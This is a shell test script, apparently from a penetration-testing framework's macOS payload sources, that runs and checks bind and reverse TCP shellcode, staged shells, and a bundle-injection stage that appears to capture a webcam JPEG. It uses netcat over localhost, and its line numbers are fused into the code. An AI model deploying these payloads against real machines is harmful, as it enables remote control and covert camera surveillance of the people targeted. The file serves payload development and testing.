Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/osx/x86/src/test/run_tests.sh
Views: 11784
#!/bin/sh12LPORT=1333034function run_payload()5{6./test_component $1 &7sleep 18}91011function test_single_bind_tcp_shell()12{13run_payload ../../bin/single_bind_tcp_shell.bin1415echo "expr 1234 + 5678" | nc -4 -vv -w 5 localhost $LPORT | grep "6912"1617wait1819return $?20}2122function test_single_reverse_tcp_shell()23{24(echo "expr 1234 + 5678" | nc -4 -vv -w 5 -l localhost $LPORT | grep "6912"; RESULT=$?) &2526sleep 12728(./test_component ../../bin/single_reverse_tcp_shell.bin)2930wait3132return $RESULT33}3435function test_staged_bind_tcp_shell()36{37run_payload ../../bin/stager_bind_tcp.bin3839(./write_size_and_data.rb ../../bin/stage_shell.bin ; echo "expr 1234 + 5678" ) | nc -4 -vv -w 5 localhost $LPORT | grep "6912"4041wait4243return $?44}4546function test_staged_reverse_tcp_shell()47{48((./write_size_and_data.rb ../../bin/stage_shell.bin; echo "expr 1234 + 5678" ) | nc -4 -vv -w 5 -l localhost $LPORT | grep "6912"; RESULT=$?) &4950sleep 15152./test_component ../../bin/stager_reverse_tcp.bin5354wait5556return $RESULT57}5859function test_staged_bind_tcp_bundleinject()60{61# Setup62run_payload ../../bin/stager_bind_tcp.bin6364# Test65TMPFILE=`mktemp isightXXXXXX` || exit 166( ./write_size_and_data.rb ../../bin/stage_bundleinject.bin ; ./write_size_and_data.rb ../../../../bundles/isight/isight.bundle ) | nc -4 -vv -w 5 localhost $LPORT | (dd bs=1 skip=4 of=$TMPFILE)6768# Verify69file $TMPFILE | grep JPEG70RESULT=$?7172# Cleanup73rm $TMPFILE7475wait7677return $RESULT78}7980function test_staged_reverse_tcp_bundleinject()81{82# Setup83TMPFILE=`mktemp isightXXXXXX` || exit 18485(( ./write_size_and_data.rb ../../bin/stage_bundleinject.bin ; ./write_size_and_data.rb ../../../../bundles/isight/isight.bundle ) | nc -4 -vv -l -w 5 localhost $LPORT | dd bs=1 skip=4 of=$TMPFILE) &86sleep 18788run_payload ../../bin/stager_reverse_tcp.bin8990wait9192# Verify93file $TMPFILE | grep JPEG94RESULT=$?9596if [ $RESULT -eq 0 ]; then97# Cleanup98rm $TMPFILE99fi100101return $RESULT102}103104SLEEP=65105106echo "==> Testing single_reverse_tcp_shell..."107test_single_reverse_tcp_shell || exit 1108echo "Sleeping $SLEEP seconds..."109sleep $SLEEP110111echo "==> Testing single_bind_tcp_shell..."112test_single_bind_tcp_shell || exit 1113echo "Sleeping $SLEEP seconds..."114sleep $SLEEP115116echo "==> Testing stager_bind_tcp + stage_shell..."117test_staged_bind_tcp_shell || exit 1118echo "Sleeping $SLEEP seconds..."119sleep $SLEEP120121echo "==> Testing stager_reverse_tcp + stage_shell..."122test_staged_reverse_tcp_shell || exit 1123echo "Sleeping $SLEEP seconds..."124sleep $SLEEP125126echo "==> Testing stager_bind_tcp + bundleinject + isight.bundle..."127test_staged_bind_tcp_bundleinject || exit 1128echo "Sleeping $SLEEP seconds..."129sleep $SLEEP130131echo "==> Testing stager_reverse_tcp + bundleinject + isight.bundle..."132test_staged_reverse_tcp_bundleinject || exit 1133echo "Sleeping $SLEEP seconds..."134135echo136echo "==> All tests passed successfully!"137echo138139140